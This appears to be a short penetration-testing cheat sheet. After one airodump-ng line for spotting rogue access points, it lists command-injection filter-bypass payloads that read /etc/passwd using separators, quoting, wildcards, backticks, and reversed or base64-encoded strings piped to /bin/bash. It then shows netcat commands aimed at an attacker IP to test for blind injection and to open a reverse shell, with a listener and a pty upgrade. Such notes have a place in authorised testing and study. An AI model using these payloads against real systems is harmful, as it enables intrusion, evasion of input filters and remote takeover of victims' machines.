Get Original AP / MITM detection (part) by BSSID + ESSID filter

airodump-ng --band abg wlan0 / --essid AP_NAME / --bssid MAC_ADDRESS_OF_ORIGINAL_DEVICE

Command Injection filter bypass - reflected

  1. Using command seperate: ; pwd
  2. Using command append: && cat /etc/passwd
  3. Using pipe: | cat /etc/passwd
  4. Using quoted command - add quotes for any character in word (EX:cat/et"c"/p"a"ssw"d")
  5. Using wildcards - replace any word with "*" & "?" (EX:cat /etc/pa*wd or cat /etc/p?sswd)
  6. Using null vars - add `` in between words (EX:cat /e``tc/p``asswd)
  7. Multi bypass - (EX:|cat /"e"t``c/p?sswd)
  8. Lethal injection 1 - reversed + multi filters (EX:echo "dws?ap/c``t"e"/ tac" | rev | /bin/bash)
  9. Lethal injection 2 - reversed + endeded + multi filters (EX:echo "ZHdzP2FwL2NgYHQiZSIvIHRhYw==" | base64 -d | rev | /bin/bash)

Fuzzing for bypass: https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/command-injection.md

"dws?ap/c``t"e"/ tac" | rev

Command Injection filter bypass - blind

  1. Test reflection On victim asset:
127.0.0.1 | nc ip_addr_attacker port_number

On attacker machine:

nc -lvp port_number
  1. If reflection success, get reverse shell On victim asset:
127.0.0.1 | nc ip_addr_attacker port_number -e /bin/bash

On attacker machine:

python -c "import pty:pty.spawn('/bin/bash')"
